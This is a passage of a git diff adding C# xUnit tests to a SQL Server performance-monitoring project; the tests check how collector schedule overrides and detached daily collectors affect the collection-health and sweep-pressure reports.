+                ? Convert.ToInt32(await ScalarAsync(connection,
+                    "SELECT count(*) FROM timescaledb_information.chunks WHERE hypertable_name = 'collection_log'"), CultureInfo.InvariantCulture)
+                : 0;
+            var isHypertable = timescaleViews
+                ? Convert.ToInt32(await ScalarAsync(connection,
+                    "SELECT count(*) FROM timescaledb_information.hypertables WHERE hypertable_name = 'collection_log'"), CultureInfo.InvariantCulture)
+                : 0;
+            Assert.Equal(hypertable ? 1 : 0, isHypertable);
+            if (hypertable)
+            {
+                Assert.True(chunks >= 4, $"seed should span several chunks, saw {chunks}");
+            }
+
+            var plan = await ExplainJsonAsync(connection);
+            var scansSeen = new List<string>();
+            Console.WriteLine("PLAN5450 hypertable=" + hypertable + " chunks=" + chunks + "\n" + plan);
+            /* The three-row server list may be seq-scanned; collection_log (or any chunk of it) never. */
+            using (var doc = System.Text.Json.JsonDocument.Parse(plan))
+            {
+                CollectScans(doc.RootElement, scansSeen);
+                Assert.DoesNotContain(scansSeen, x => x.StartsWith("Seq Scan:", StringComparison.Ordinal) && !x.Contains("config_monitored_servers", StringComparison.Ordinal));
+            }
+
+            Assert.Contains(scansSeen, x => x.StartsWith("Index Only Scan:", StringComparison.Ordinal) || x.StartsWith("Index Scan:", StringComparison.Ordinal));
+            Assert.Contains("Backward", plan, StringComparison.Ordinal);
+            if (!hypertable)
+            {
+                Assert.Contains("idx_collection_log_time", plan, StringComparison.Ordinal);
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        var value = await command.ExecuteScalarAsync(Ct);
+        return value is DBNull ? null : value;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, params NpgsqlParameter[] parameters)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddRange(parameters);
+        await command.ExecuteNonQueryAsync(Ct);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthDetachedSweepPressureTests.cs b/Darling/Darling.Tests/CollectionHealthDetachedSweepPressureTests.cs
new file mode 100644
index 0000000000..0bfedc2a5f
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthDetachedSweepPressureTests.cs
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4999 (part of #4938): get_collection_health's sweep-pressure roll-up compares the collectors' single-run
+/// costs with the one 60-second body their server's sequential pass has to fit in, so it may count only the
+/// collectors that run IN that pass. A collector that runs detached does not: it runs beside the pass, and a
+/// long p95 on it said BODY_OVERRUN for a body that never waited on it (index_object_stats, once a day, naming
+/// itself as the collector that owns the body).
+///
+/// <para>The decision is <see cref="DarlingWorker.RunsDetached"/>, which the worker's dispatch also asks, so the
+/// two cannot disagree about what runs in the pass. The source pins below are what keep it that way: a second,
+/// hand-copied version of the test in either file is a drift the behavioural cases cannot see.</para>
+/// </summary>
+public sealed class CollectionHealthDetachedSweepPressureTests
+{
+    private const string Daily = "index_object_stats";
+    private const string OneMinute = "wait_stats";
+
+    /// <summary>One run costs more than the whole 60,000 ms body, so a collector counted in the body reads BODY_OVERRUN.</summary>
+    private const double LongP95Ms = 90_000;
+
+    private const string WorkerPath = "Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs";
+    private const string ToolsPath = "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs";
+
+    private static CollectorHealth Row(string name, double avgMs, double p95Ms) =>
+        new() { CollectorName = name, AvgDurationMs = avgMs, P95DurationMs = p95Ms };
+
+    private static SweepPressure Rollup(params CollectorHealth[] rows) =>
+        SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(rows));
+
+    [Fact]
+    public void ADailyCollectorWithALongP95_IsNotChargedToTheSweepBody()
+    {
+        var rows = new[]
+        {
+            Row(Daily, avgMs: 40_000, p95Ms: LongP95Ms),
+            Row(OneMinute, avgMs: 50, p95Ms: 100),
+        };
+
+        /* The fixture is a real overrun when the daily collector IS counted: this is what the tool said before. */
+        var counted = SweepPressureClassifier.Compute(
+            rows.Select(r => (r.CollectorName, r.AvgDurationMs, r.P95DurationMs, r.FrequencyMinutes)));
+        Assert.Equal(SweepPressureClassifier.PeakCycleBodyOverrun, counted.PeakCycleRisk);
+        Assert.Equal(Daily, counted.PeakCollectorName);
+
+        var pressure = Rollup(rows);
+        Assert.Equal(SweepPressureClassifier.PeakCycleFits, pressure.PeakCycleRisk);
+        Assert.Equal(OneMinute, pressure.PeakCollectorName);
+    }
+
+    [Fact]
+    public void AOneMinuteCollectorWithTheSameP95_StillReadsBodyOverrun()
+    {
+        Assert.Equal(1, CollectorScheduleDefaults.All[OneMinute].FrequencyMinutes);
+
+        var pressure = Rollup(
+            Row(OneMinute, avgMs: 40_000, p95Ms: LongP95Ms),
+            Row(Daily, avgMs: 50, p95Ms: 100));
+
+        Assert.Equal(SweepPressureClassifier.PeakCycleBodyOverrun, pressure.PeakCycleRisk);
+        Assert.Equal(OneMinute, pressure.PeakCollectorName);
+    }
+
+    /// <summary>
+    /// The three that were detached before the daily ones (by name, on a five-minute cadence) and one of each
+    /// kind of daily collector: a catalog 1440-minute one, and an on-load one whose catalog 0 is its daily
+    /// recapture. None of them runs in the pass, so none is charged to it.
+    /// </summary>
+    [Theory]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    [InlineData("pg_wait_sampling")]
+    [InlineData("index_object_stats")]
+    [InlineData("pg_index_bloat")]
+    [InlineData("server_config")]
+    public void ACollectorThatRunsDetached_IsLeftOutOfTheRollUp(string name)
+    {
+        Assert.True(CollectorScheduleDefaults.All.ContainsKey(name), $"'{name}' is not in the catalog");
+
+        var pressure = Rollup(Row(name, avgMs: 40_000, p95Ms: LongP95Ms));
+
+        Assert.Equal(SweepPressureClassifier.PeakCycleFits, pressure.PeakCycleRisk);
+        Assert.Null(pressure.PeakCollectorName);
+        Assert.Equal(0, pressure.BusyMsPerMinute);
+    }
+
+    /// <summary>
+    /// Over the whole catalog, from the catalog's own cadences rather than from the predicate under test: a row
+    /// is left out of the roll-up exactly when its collector is detached by name or runs at a daily cadence or
+    /// slower, and kept otherwise.
+    /// </summary>
+    [Fact]
+    public void TheRollUpKeepsExactlyTheCollectorsThatRunInThePass()
+    {
+        foreach (var (name, schedule) in CollectorScheduleDefaults.All)
+        {
+            var byName = name is "query_store" or "plan_correction" or "pg_wait_sampling";
+            var effective = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes);
+            var expectedInPass = !byName && effective < 1440;
+
+            var kept = DarlingMcpDataTools.SweepBodyRows(new[] { Row(name, 1, 1) }).Any();
+
+            Assert.True(
+                expectedInPass == kept,
+                $"{name} (every {effective} min, detached by name: {byName}): in the pass = {expectedInPass}, kept in the roll-up = {kept}");
+        }
+    }
+
+    /// <summary>
+    /// The worker's dispatch asks <c>RunsDetached</c>, and this tool asks it too, with no second copy of the test
+    /// on either side. A hand-copied version passes every behavioural case above until the day one copy is
+    /// edited, which is the drift this pin exists to refuse.
+    /// </summary>
+    [Fact]
+    public void TheWorkersDispatchAndTheHealthToolAskTheSameTest()
+    {
+        var worker = ReadRepoFile(WorkerPath);
+        var tools = ReadRepoFile(ToolsPath);
+
+        /* The test is defined once, from its two halves. */
+        Assert.Contains(
+            "IsDetachedByName(name) || IsDailyInterval(effectiveIntervalMinutes)", worker, StringComparison.Ordinal);
+        Assert.Equal(1, Count(worker, "internal static bool RunsDetached("));
+
+        /* The dispatch decides with it. */
+        Assert.Equal(1, Count(worker, "if (!RunsDetached(name, interval))"));
+
+        /* The three by-name predicates are chained in ONE place, IsDetachedByName, and nowhere else in the worker
+           under the dispatch's variable name: a copy of the chain in the dispatch is the second copy. */
+        Assert.Equal(1, Count(worker, "IsQueryStoreCollector(name) || IsPlanCorrectionCollector(name) || IsPgWaitSamplingCollector(name)"));
+
+        /* The tool asks it through the worker, once, and does not name any piece of it. */
+        Assert.Equal(1, Count(tools, "DarlingWorker.RunsDetached("));
+        foreach (var piece in new[]
+                 {
+                     "IsQueryStoreCollector", "IsPlanCorrectionCollector", "IsPgWaitSamplingCollector", "IsDailyInterval",
+                     "IsDetachedByName", "DailyCollectorIntervalMinutes",
+                 })
+        {
+            Assert.DoesNotContain(piece, tools, StringComparison.Ordinal);
+        }
+
+        /* Both readings of the body's population, the roll-up and the heaviest list, come through the one filter. */
+        Assert.Contains(
+            "var pressure = SweepPressureClassifier.Compute(SweepBodyCollectors(rows));", tools, StringComparison.Ordinal);
+        Assert.Contains("var heaviest = SweepBodyRows(rows)", tools, StringComparison.Ordinal);
+    }
+
+    private static int Count(string haystack, string needle)
+    {
+        var count = 0;
+        for (var i = haystack.IndexOf(needle, StringComparison.Ordinal); i >= 0;
+             i = haystack.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthEffectiveCadenceTests.cs b/Darling/Darling.Tests/CollectionHealthEffectiveCadenceTests.cs
new file mode 100644
index 0000000000..2c1d75ad95
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthEffectiveCadenceTests.cs
@@ -0,0 +1,198 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4999 (part of #4938): get_collection_health judges a collector against the interval it is SCHEDULED at on the
+/// server, not the one it shipped with. A collector an operator moved to every 720 minutes was banded against its
+/// shipped five, and a collector an override moved across the daily line stayed in (or out of) the sweep-pressure
+/// roll-up by its shipped cadence while the worker's dispatch had already moved it.
+///
+/// <para>The resolution is the worker's own, <see cref="StoreConfigProvider.ResolveSchedule"/>: a per-server
+/// override, else the fleet-wide one, else the shipped default. The tests apply a set of overrides to rows with
+/// <see cref="DarlingDataReader.ApplyScheduledFrequencies"/>, the step the memoized health read runs on every row it
+/// builds, so no store is needed.</para>
+/// </summary>
+public sealed class CollectionHealthEffectiveCadenceTests
+{
+    private const string FiveMinute = "memory_clerks";
+    private const string Daily = "index_object_stats";
+    private const int ServerId = 7;
+    private const int OtherServerId = 8;
+
+    private const string ReaderPath = "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs";
+    private const string WorkerPath = "Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs";
+
+    private static CollectorHealth Row(string name, double avgMs = 0, double p95Ms = 0) =>
+        new() { CollectorName = name, AvgDurationMs = avgMs, P95DurationMs = p95Ms };
+
+    private static ScheduleOverride Override(int? serverId, string name, int? minutes) =>
+        new(serverId, name, minutes, RetentionDays: null, Enabled: true);
+
+    private static void Apply(CollectorHealth row, params ScheduleOverride[] overrides) =>
+        DarlingDataReader.ApplyScheduledFrequencies(new[] { row }, ServerId, overrides);
+
+    /// <summary>A row that bands HEALTHY on any cadence while its newest success is recent enough.</summary>
+    private static CollectorHealth ProductiveRow(string name, double hoursSinceLastSuccess)
+    {
+        var last = DateTime.UtcNow.AddHours(-hoursSinceLastSuccess);
+        return new CollectorHealth
+        {
+            CollectorName = name,
+            TotalRuns = 10,
+            SuccessCount = 10,
+            RowsStored = 100,
+            RunsWithRows = 10,
+            LastSuccessTime = last,
+            LastRunTime = last,
+        };
+    }
+
+    [Fact]
+    public void AnOverrideOf720OnAFiveMinuteCollector_IsJudgedAgainst720()
+    {
+        Assert.Equal(5, CollectorScheduleDefaults.All[FiveMinute].FrequencyMinutes);
+
+        var row = Row(FiveMinute, avgMs: 30_000, p95Ms: 30_000);
+        Assert.Equal(5, row.FrequencyMinutes);
+
+        Apply(row, Override(ServerId, FiveMinute, 720));
+
+        Assert.Equal(720, row.FrequencyMinutes);
+
+        /* The roll-up amortises the run cost by the interval the row carries: 30,000 ms every 720 minutes. */
+        var pressure = SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(new[] { row }));
+        Assert.Equal(30_000.0 / 720, pressure.BusyMsPerMinute, 3);
+        Assert.Equal(720, pressure.PeakCollectorFrequencyMinutes);
+    }
+
+    [Fact]
+    public void TheBandJudgesAgainstTheScheduledInterval_NotTheShippedOne()
+    {
+        /* Six hours since the newest success: past the four-hour floor a five-minute collector goes STALE at, well
+           inside the 18 hours (one and a half intervals) a 720-minute collector gets. */
+        var shipped = ProductiveRow(FiveMinute, hoursSinceLastSuccess: 6);
+        Assert.Equal(CollectorHealthClassifier.Stale, shipped.HealthStatus);
+
+        var scheduled = ProductiveRow(FiveMinute, hoursSinceLastSuccess: 6);
+        Apply(scheduled, Override(ServerId, FiveMinute, 720));
+        Assert.Equal(CollectorHealthClassifier.Healthy, scheduled.HealthStatus);
+    }
+
+    [Fact]
+    public void APerServerOverrideBeatsTheFleetOne_AndAnotherServersIsIgnored()
+    {
+        var fleetOnly = Row(FiveMinute);
+        Apply(fleetOnly, Override(null, FiveMinute, 720));
+        Assert.Equal(720, fleetOnly.FrequencyMinutes);
+
+        var both = Row(FiveMinute);
+        Apply(both, Override(null, FiveMinute, 720), Override(ServerId, FiveMinute, 60));
+        Assert.Equal(60, both.FrequencyMinutes);
+
+        var elsewhere = Row(FiveMinute);
+        Apply(elsewhere, Override(OtherServerId, FiveMinute, 720));
+        Assert.Equal(5, elsewhere.FrequencyMinutes);
+    }
+
+    [Fact]
+    public void AnOverrideThatMovesACollectorAcrossTheDailyLine_MovesItInTheRollUpToo()
+    {
+        const double LongP95Ms = 90_000;
+
+        /* A five-minute collector scheduled daily runs beside the pass: its long run is not charged to the body. */
+        var movedOut = Row(FiveMinute, avgMs: 40_000, p95Ms: LongP95Ms);
+        Assert.Equal(
+            SweepPressureClassifier.PeakCycleBodyOverrun,
+            SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(new[] { movedOut })).PeakCycleRisk);
+        Apply(movedOut, Override(ServerId, FiveMinute, 1440));
+        var outside = SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(new[] { movedOut }));
+        Assert.Equal(SweepPressureClassifier.PeakCycleFits, outside.PeakCycleRisk);
+        Assert.Null(outside.PeakCollectorName);
+
+        /* The reverse: a daily collector scheduled every five minutes runs in the pass, so its long run is. */
+        var movedIn = Row(Daily, avgMs: 40_000, p95Ms: LongP95Ms);
+        Assert.Equal(
+            SweepPressureClassifier.PeakCycleFits,
+            SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(new[] { movedIn })).PeakCycleRisk);
+        Apply(movedIn, Override(ServerId, Daily, 5));
+        var inside = SweepPressureClassifier.Compute(DarlingMcpDataTools.SweepBodyCollectors(new[] { movedIn }));
+        Assert.Equal(SweepPressureClassifier.PeakCycleBodyOverrun, inside.PeakCycleRisk);
+        Assert.Equal(Daily, inside.PeakCollectorName);
+    }
+
+    [Fact]
+    public void WithNoOverrideARowKeepsItsShippedCadence_AndAnUnknownNameIsLeftAlone()
+    {
+        var known = Row(FiveMinute);
+        Apply(known);
+        Assert.Equal(5, known.FrequencyMinutes);
+
+        /* An on-load collector's catalog 0 is its daily recapture, the substitution the dispatch makes. */
+        var onLoad = Row("server_config");
+        Apply(onLoad);
+        Assert.Equal(CollectorScheduleDefaults.OnLoadRecaptureMinutes, onLoad.FrequencyMinutes);
+
+        /* A name the catalog does not know would throw in ResolveSchedule; it stays unstamped at 0. */
+        var unknown = Row("not_a_collector");
+        Apply(unknown, Override(ServerId, "not_a_collector", 720));
+        Assert.Null(unknown.EffectiveFrequencyMinutes);
+        Assert.Equal(0, unknown.FrequencyMinutes);
+    }
+
+    /// <summary>
+    /// The resolution is the worker's own call and not a copy of it, and it runs inside the memoized read: the
+    /// memo hands one list to every caller of the minute, so a stamp applied after it returned would mutate rows
+    /// other callers are enumerating.
+    /// </summary>
+    [Fact]
+    public void TheReadResolvesThroughTheWorkersCall_InsideTheMemoizedRead()
+    {
+        var reader = ReadRepoFile(ReaderPath);
+        var worker = ReadRepoFile(WorkerPath);
+        var tools = ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs");
+
+        Assert.Contains("StoreConfigProvider.ResolveSchedule(name, runtime.ServerId, _scheduleOverrides)", worker, StringComparison.Ordinal);
+        Assert.Equal(1, Count(reader, "StoreConfigProvider.ResolveSchedule(row.CollectorName, serverId, overrides)"));
+
+        /* One stamp, in the method that builds the rows, ahead of its return. */
+        Assert.Equal(1, Count(reader, "ApplyScheduledFrequencies(rows, serverId, scheduleOverrides);"));
+        Assert.True(
+            reader.IndexOf("ApplyScheduledFrequencies(rows, serverId, scheduleOverrides);", StringComparison.Ordinal)
+            < reader.IndexOf("internal const string ScheduleOverridesSql", StringComparison.Ordinal));
+
+        /* The tool itself neither stamps nor resolves: it reads the row's interval. */
+        Assert.DoesNotContain("ApplyScheduledFrequencies", tools, StringComparison.Ordinal);
+        Assert.DoesNotContain("ResolveSchedule", tools, StringComparison.Ordinal);
+
+        /* The overrides come from the sparse schedule table, schema-qualified, this server's rows and the fleet's. */
+        Assert.Contains("FROM config.config_collector_schedules", DarlingDataReader.ScheduleOverridesSql, StringComparison.Ordinal);
+        Assert.Contains("server_id IS NULL", DarlingDataReader.ScheduleOverridesSql, StringComparison.Ordinal);
+    }
+
+    private static int Count(string haystack, string needle)
+    {
+        var count = 0;
+        for (var i = haystack.IndexOf(needle, StringComparison.Ordinal); i >= 0;
+             i = haystack.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthEverySurfaceEffectiveIntervalTests.cs b/Darling/Darling.Tests/CollectionHealthEverySurfaceEffectiveIntervalTests.cs
new file mode 100644
index 0000000000..af5071e8b5
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthEverySurfaceEffectiveIntervalTests.cs
@@ -0,0 +1,306 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4999 (part of #4938): every collection-health surface judges a collector against the interval it is SCHEDULED at on
+/// its server, not the one it shipped with. get_collection_health did first; the fleet roll-up (the per-server
+/// healthy and failing counts of the fleet overview) and the viewer's collection-health reads (a server's own tab,
+/// and the Overview cards and status bar) still judged against the shipped interval, so a collector an operator
+/// slowed to every 720 minutes could band HEALTHY in one place and STALE in another.
+///
+/// <para>The rule is one: <see cref="CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes{T}"/> in
+/// <c>PerformanceMonitor.Collectors</c>, the project the service and the viewer both reference. The worker's
+/// <see cref="StoreConfigProvider.ResolveSchedule"/> picks its rows through the same
+/// <see cref="CollectorScheduleDefaults.SelectScheduleOverrides{T}"/>. The cases below pin that the three are the
+/// same answer, then drive each surface's own step with a row whose newest success is six hours old: past the
+/// four-hour line a five-minute collector goes STALE at, well inside the 18 hours (one and a half intervals) a
+/// collector scheduled every 720 minutes gets.</para>
+/// </summary>
+public sealed class CollectionHealthEverySurfaceEffectiveIntervalTests
+{
+    private const string FiveMinute = "memory_clerks";
+    private const int ServerId = 7;
+    private const int OtherServerId = 8;
+
+    private const string FleetReaderPath = "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs";
+    private const string ViewerPath = "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs";
+    private const string StoreConfigPath = "Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs";
+
+    private static ScheduleOverride Override(int? serverId, string name, int? minutes) =>
+        new(serverId, name, minutes, RetentionDays: null, Enabled: true);
+
+    private static int? Resolve(string name, params ScheduleOverride[] rows) =>
+        CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(name, ServerId, rows);
+
+    private static CollectorScheduleRow ViewerOverride(int? serverId, string name, int? minutes) =>
+        new(serverId, name, minutes, RetentionDays: null, Enabled: true);
+
+    /// <summary>The same rows as the viewer carries them.</summary>
+    private static CollectorScheduleRow[] AsViewerRows(IEnumerable<ScheduleOverride> rows) =>
+        rows.Select(r => ViewerOverride(r.ServerId, r.CollectorName, r.FrequencyMinutes)).ToArray();
+
+    /// <summary>One row in the fourteen-column shape both fleet reads produce (server_id first), healthy on every count
+    /// and with every instant <paramref name="hoursAgo"/> hours old, so the only thing that can move the band is the
+    /// interval the row is judged against.</summary>
+    private static DataTableReader FleetRow(string collector, double hoursAgo)
+    {
+        var table = new DataTable();
+        table.Columns.Add("server_id", typeof(int));
+        table.Columns.Add("collector_name", typeof(string));
+        foreach (var name in new[] { "total_runs", "success_count", "error_count" })
+        {
+            table.Columns.Add(name, typeof(long));
+        }
+
+        table.Columns.Add("last_success_time", typeof(DateTime));
+        table.Columns.Add("permission_denied_count", typeof(long));
+        table.Columns.Add("last_run_time", typeof(DateTime));
+        table.Columns.Add("abandoned_count", typeof(long));
+        table.Columns.Add("extension_missing_count", typeof(long));
+        table.Columns.Add("last_non_skip_time", typeof(DateTime));
+        table.Columns.Add("last_productive_time", typeof(DateTime));
+        table.Columns.Add("last_zero_row_streak_break_time", typeof(DateTime));
+        table.Columns.Add("latest_run_note", typeof(string));
+
+        var then = DateTime.UtcNow.AddHours(-hoursAgo);
+        table.Rows.Add(ServerId, collector, 100L, 100L, 0L, then, 0L, then, 0L, 0L, then, then, then, DBNull.Value);
+        var reader = table.CreateDataReader();
+        Assert.True(reader.Read());
+        return reader;
+    }
+
+    /* ───────────────────────── the one rule ───────────────────────── */
+
+    private static IEnumerable<(string Scenario, ScheduleOverride[] Rows)> Scenarios(string name) =>
+    [
+        ("no override", Array.Empty<ScheduleOverride>()),
+        ("fleet only", [Override(null, name, 720)]),
+        ("server only", [Override(ServerId, name, 60)]),
+        ("server beats fleet", [Override(null, name, 720), Override(ServerId, name, 60)]),
+        ("another server's row is ignored", [Override(OtherServerId, name, 720)]),
+        ("another server's row beside the fleet's", [Override(OtherServerId, name, 30), Override(null, name, 720)]),
+        ("a name in another case", [Override(ServerId, name.ToUpperInvariant(), 90)]),
+        ("a negative server row falls through to the fleet's", [Override(ServerId, name, -5), Override(null, name, 720)]),
+        ("a null frequency falls through", [Override(ServerId, name, null), Override(null, name, 720)]),
+        ("zero is honoured (on-load only)", [Override(ServerId, name, 0)]),
+        ("a delta-family cadence past its cap falls through", [Override(ServerId, name, 100_000), Override(null, name, 15)]),
+        ("another collector's row is ignored", [Override(ServerId, name + "_other", 720)]),
+    ];
+
+    /// <summary>
+    /// The shared rule gives, for every catalog collector under every layering of overrides, exactly what the worker
+    /// schedules the collector at: <see cref="StoreConfigProvider.ResolveSchedule"/> then
+    /// <see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/>. The viewer carries the rows as its own
+    /// record and resolves them through the same rule, so it gives the same answer too.
+    /// </summary>
+    [Fact]
+    public void TheSharedResolution_GivesWhatTheWorkerSchedulesEveryCollectorAt_ForEveryLayeringOfOverrides()
+    {
+        var compared = 0;
+        foreach (var name in CollectorScheduleDefaults.All.Keys)
+        {
+            foreach (var (scenario, rows) in Scenarios(name))
+            {
+                var worker = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(
+                    StoreConfigProvider.ResolveSchedule(name, ServerId, rows).FrequencyMinutes);
+
+                Assert.True(
+                    worker == CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(name, ServerId, rows),
+                    $"{name}: {scenario}: the shared rule disagrees with the worker's schedule");
+                Assert.True(
+                    worker == CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(name, ServerId, AsViewerRows(rows)),
+                    $"{name}: {scenario}: the viewer's rows resolve differently from the worker's");
+                compared++;
+            }
+        }
+
+        Assert.Equal(CollectorScheduleDefaults.All.Count * Scenarios(FiveMinute).Count(), compared);
+    }
+
+    [Fact]
+    public void TheSharedResolution_PicksTheServerRow_ThenTheFleetRow_ThenTheShippedDefault()
+    {
+        Assert.Equal(5, CollectorScheduleDefaults.All[FiveMinute].FrequencyMinutes);
+
+        Assert.Equal(5, Resolve(FiveMinute));
+        Assert.Equal(720, Resolve(FiveMinute, Override(null, FiveMinute, 720)));
+        Assert.Equal(60, Resolve(FiveMinute, Override(null, FiveMinute, 720), Override(ServerId, FiveMinute, 60)));
+        Assert.Equal(5, Resolve(FiveMinute, Override(OtherServerId, FiveMinute, 720)));
+        Assert.Equal(5, CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes<ScheduleOverride>(FiveMinute, ServerId, null));
+    }
+
+    [Fact]
+    public void AnOnLoadCollectorReadsAsItsDailyRecapture_AndAnUnknownNameHasNoInterval()
+    {
+        Assert.Equal(0, CollectorScheduleDefaults.All["server_config"].FrequencyMinutes);
+        Assert.Equal(CollectorScheduleDefaults.OnLoadRecaptureMinutes, Resolve("server_config"));
+        Assert.Equal(60, Resolve("server_config", Override(null, "server_config", 60)));
+
+        Assert.Null(Resolve("not_a_collector", Override(null, "not_a_collector", 60)));
+    }
+
+    /* ───────────────────────── each surface ───────────────────────── */
+
+    /// <summary>
+    /// The fleet roll-up: the same row it reads, mapped through the step the roll-up's loop calls with the server's
+    /// own schedule rows. Judged against the shipped five minutes it is STALE; against the 720 its server runs it at,
+    /// HEALTHY, as get_collection_health says for that server.
+    /// </summary>
+    [Fact]
+    public void TheFleetRollUp_BandsACollectorAgainstTheIntervalItsServerSchedulesItAt()
+    {
+        using (var shipped = FleetRow(FiveMinute, hoursAgo: 6))
+        {
+            var row = DarlingFleetReader.MapFleetHealthRow(shipped);
+            Assert.Equal(5, row.FrequencyMinutes);
+            Assert.Equal(CollectorHealthClassifier.Stale, row.HealthStatus);
+        }
+
+        using (var scheduled = FleetRow(FiveMinute, hoursAgo: 6))
+        {
+            var row = DarlingFleetReader.MapFleetHealthRow(scheduled, ServerId, [Override(ServerId, FiveMinute, 720)]);
+            Assert.Equal(720, row.FrequencyMinutes);
+            Assert.Equal(CollectorHealthClassifier.Healthy, row.HealthStatus);
+        }
+
+        /* The fleet-wide row reaches the server too, and another server's own row does not. */
+        using (var fleetWide = FleetRow(FiveMinute, hoursAgo: 6))
+        {
+            var row = DarlingFleetReader.MapFleetHealthRow(fleetWide, ServerId, [Override(null, FiveMinute, 720)]);
+            Assert.Equal(CollectorHealthClassifier.Healthy, row.HealthStatus);
+        }
+
+        using (var elsewhere = FleetRow(FiveMinute, hoursAgo: 6))
+        {
+            var row = DarlingFleetReader.MapFleetHealthRow(elsewhere, ServerId, [Override(OtherServerId, FiveMinute, 720)]);
+            Assert.Equal(5, row.FrequencyMinutes);
+            Assert.Equal(CollectorHealthClassifier.Stale, row.HealthStatus);
+        }
+    }
+
+    /// <summary>
+    /// The viewer's Overview cards and status bar read the per-(server, collector) fleet breakdown, and its rows are
+    /// stamped by server, so the band they count is the one the server's own tab shows.
+    /// </summary>
+    [Fact]
+    public void TheViewersFleetBreakdown_BandsACollectorAgainstTheIntervalItsServerSchedulesItAt()
+    {
+        using var reader = FleetRow(FiveMinute, hoursAgo: 6);
+        var row = ViewerDataService.MapFleetByServerRow(reader);
+        Assert.Equal(CollectorHealthClassifier.Stale, row.HealthStatus);
+
+        ViewerDataService.ApplyScheduledFrequencies([row], ServerId, [ViewerOverride(ServerId, FiveMinute, 720)]);
+
+        Assert.Equal(720, row.EffectiveFrequencyMinutes);
+        Assert.Equal(CollectorHealthClassifier.Healthy, row.HealthStatus);
+    }
+
+    /// <summary>The viewer's per-server Collection Health tab, with a per-server row beating the fleet-wide one.</summary>
+    [Fact]
+    public void TheViewersServerTab_BandsACollectorAgainstTheIntervalItIsScheduledAt_ServerRowFirst()
+    {
+        static CollectorHealthRow Row()
+        {
+            var then = DateTime.UtcNow.AddHours(-6);
+            return new CollectorHealthRow
+            {
+                CollectorName = FiveMinute,
+                TotalRuns = 100,
+                SuccessCount = 100,
+                LastSuccessTime = then,
+                LastRunTime = then,
+                LastNonSkipTime = then,
+                LastProductiveTime = then,
+            };
+        }
+
+        var shipped = Row();
+        Assert.Equal(CollectorHealthClassifier.Stale, shipped.HealthStatus);
+
+        var server = Row();
+        ViewerDataService.ApplyScheduledFrequencies([server], ServerId, [ViewerOverride(ServerId, FiveMinute, 720)]);
+        Assert.Equal(720, server.EffectiveFrequencyMinutes);
+        Assert.Equal(CollectorHealthClassifier.Healthy, server.HealthStatus);
+
+        /* The fleet row alone, then the server row over it: the server's 5 beats the fleet's 720. */
+        var fleet = Row();
